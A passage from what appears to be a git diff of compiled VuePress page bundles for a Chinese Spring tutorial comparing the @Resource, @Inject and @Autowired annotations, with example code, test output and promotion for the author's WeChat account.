punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Documented")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@interface")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Inject")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br")])]),a("p",[a("strong",[s._v("注意:要想使用@Inject注解,需要在项目的pom.xml文件中添加如下依赖。")])]),s._v(" "),a("div",{staticClass:"language-xml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-xml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("javax.inject"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("javax.inject"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("1"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br")])]),a("h2",{attrs:{id:"项目案例"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#项目案例"}},[s._v("#")]),s._v(" 项目案例")]),s._v(" "),a("h3",{attrs:{id:"测试-resource注解"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#测试-resource注解"}},[s._v("#")]),s._v(" 测试@Resource注解")]),s._v(" "),a("p",[s._v("首先,我们将项目中的PersonService类标注在personDao字段上的@Autowired注解和@Qualifier注解注释掉,然后添加@Resource注解,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v('//@Qualifier("personDao")')]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//@Autowired(required = false)")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Resource")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("PersonDao")]),s._v(" personDao"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("接下来,我们运行AutowiredTest类的testAutowired01()方法,输出的结果信息如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("PersonService"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("personDao"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("PersonDao"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("remark"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'1'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("可以看到,使用@Resource注解也能够自动装配组件,只不过此时自动装配的是remark为1的personDao。而不是我们在AutowiredConfig类中配置的优先装配的remark为2的personDao。AutowiredConfig类中配置的remark为2的personDao如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Primary")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Bean")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"personDao2"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("PersonDao")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("personDao")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("PersonDao")]),s._v(" personDao "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("PersonDao")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n personDao"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("setRemark")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"2"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" personDao"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br")])]),a("p",[s._v("我们在使用@Resource注解时,可以通过@Resource注解的name属性显示指定要装配的组件的名称。例如,我们要想装配remark为2的personDao,只需要为@Resource注解添加 "),a("code",[s._v('name="personDao2"')]),s._v("属性即可。如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v('//@Qualifier("personDao")')]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//@Autowired(required = false)")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Resource")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("name "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"personDao2"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("PersonDao")]),s._v(" personDao"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("接下来,我们再次运行AutowiredTest类的testAutowired01()方法,输出的结果信息如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("PersonService"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("personDao"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("PersonDao"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("remark"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'2'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("可以看到,此时输出了remark为2的personDao,说明@Resource注解可以通过name属性显示指定要装配的bean。")]),s._v(" "),a("h3",{attrs:{id:"测试-inject注解"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#测试-inject注解"}},[s._v("#")]),s._v(" 测试@Inject注解")]),s._v(" "),a("p",[s._v("在PersonService类中,将@Resource注解注释掉,添加@Inject注解,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v('//@Qualifier("personDao")')]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//@Autowired(required = false)")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v('//@Resource(name = "personDao2")')]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Inject")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("PersonDao")]),s._v(" personDao"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br")])]),a("p",[s._v("修改完毕后,我们运行AutowiredTest类的testAutowired01()方法,输出的结果信息如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("PersonService"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("personDao"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("PersonDao"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("remark"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'2'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("可以看到,使用@Inject注解默认输出的是remark为2的personDao。这是因为@Inject注解和@Autowired注解一样,默认优先装配使用了@Primary注解标注的组件。")]),s._v(" "),a("h2",{attrs:{id:"resource和-inject注解与-autowired注解的区别"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#resource和-inject注解与-autowired注解的区别"}},[s._v("#")]),s._v(" @Resource和@Inject注解与@Autowired注解的区别")]),s._v(" "),a("p",[a("strong",[s._v("不同点")])]),s._v(" "),a("ul",[a("li",[s._v("@Autowired是spring专有注解,@Resource是java中"),a("strong",[s._v("JSR250中的规范")]),s._v(",@Inject是java中"),a("strong",[s._v("JSR330中的规范")])]),s._v(" "),a("li",[s._v("@Autowired支持参数required=false,@Resource,@Inject都不支持")]),s._v(" "),a("li",[s._v("@Autowired,和@Inject支持@Primary注解优先注入,@Resource不支持")]),s._v(" "),a("li",[s._v("@Autowired通过@Qualifier指定注入特定bean,@Resource可以通过参数name指定注入bean,@Inject需要@Named注解指定注入bean")])]),s._v(" "),a("p",[a("strong",[s._v("相同点")])]),s._v(" "),a("p",[s._v("三种注解都可以实现bean的注入。")]),s._v(" "),a("h2",{attrs:{id:"重磅福利"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#重磅福利"}},[s._v("#")]),s._v(" 重磅福利")]),s._v(" "),a("p",[s._v("关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,后台回复 “"),a("strong",[s._v("设计模式")]),s._v("” 关键字领取《"),a("strong",[s._v("深入浅出Java 23种设计模式")]),s._v("》PDF文档。回复“"),a("strong",[s._v("Java8")]),s._v("”关键字领取《"),a("strong",[s._v("Java8新特性教程")]),s._v("》PDF文档。回复“"),a("strong",[s._v("限流")]),s._v("”关键字获取《"),a("strong",[s._v("亿级流量下的分布式限流解决方案")]),s._v("》PDF文档,三本PDF均是由冰河原创并整理的超硬核教程,面试必备!!")]),s._v(" "),a("p",[a("font",{attrs:{color:"#FF0000"}},[a("strong",[s._v("好了,今天就聊到这儿吧!别忘了点个赞,给个在看和转发,让更多的人看到,一起学习,一起进步!!")])])],1),s._v(" "),a("h2",{attrs:{id:"写在最后"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),a("blockquote",[a("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);a.default=e.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-121.js b/assets/js/cg-121.js index edfe4288e7596a5100d6acd85a36e56eed4ca185..68b04ae0b3f3ef0ab8d019a008b1efc0f6c3e650 100644 --- a/assets/js/cg-121.js +++ b/assets/js/cg-121.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[121],{661:function(s,t,a){"use strict";a.r(t);var n=a(7),e=Object(n.a)({},(function(){var s=this,t=s._self._c;return t("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[t("h1",{attrs:{id:"【spring注解驱动开发】如何实现方法、构造器位置的自动装配-我这样回答让面试官很满意"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#【spring注解驱动开发】如何实现方法、构造器位置的自动装配-我这样回答让面试官很满意"}},[s._v("#")]),s._v(" 【Spring注解驱动开发】如何实现方法、构造器位置的自动装配?我这样回答让面试官很满意!")]),s._v(" "),t("blockquote",[t("p",[s._v("在 "),t("strong",[s._v("冰河技术")]),s._v(" 微信公众号前面的文章中,我们介绍了如何使用注解来自动装配Spring组件。之前将的都是在来的字段上添加注解,那有没有什么方法可以实现方法、构造器位置的自动装配吗?今天我们就一起来探讨下如何实现方法、构造器位置的自动装配。")]),s._v(" "),t("p",[s._v("关注 "),t("strong",[s._v("冰河技术")]),s._v(" 技术微信公众号,后台回复“spring注解”关键字,领取项目工程源码。")])]),s._v(" "),t("h2",{attrs:{id:"再谈-autowired注解"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#再谈-autowired注解"}},[s._v("#")]),s._v(" 再谈@Autowired注解")]),s._v(" "),t("p",[s._v("在我发表在 "),t("strong",[s._v("冰河技术")]),s._v(" 微信公众号的《"),t("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247486002&idx=1&sn=9e42ec6586363d6ab1e61beb14ee3322&chksm=cee515fff9929ce951a597f0cdb0bb04a615aef1287cac954645cdfd551518c0169350cd846e&token=1511192793&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[s._v("【Spring注解驱动开发】使用@Autowired@Qualifier@Primary三大注解自动装配组件,你会了吗?"),t("OutboundLink")],1),s._v("》一文中简单介绍了下@Autowired注解注解的使用方法。下面,我们再来看下@Autowired注解的源码。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("org"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("springframework"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("beans"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("factory"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Documented")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Retention")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RetentionPolicy")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Target")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Target")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("CONSTRUCTOR")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("METHOD")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("PARAMETER")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("FIELD")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("ANNOTATION_TYPE")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Retention")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RetentionPolicy")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("RUNTIME")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Documented")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@interface")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Autowired")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\t"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("boolean")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("required")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("true")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br")])]),t("p",[s._v("我们通过@Autowired注解的源码可以看出,在@Autowired注解上标注有如下的注解信息。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Target")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("CONSTRUCTOR")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("METHOD")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("PARAMETER")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("FIELD")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token 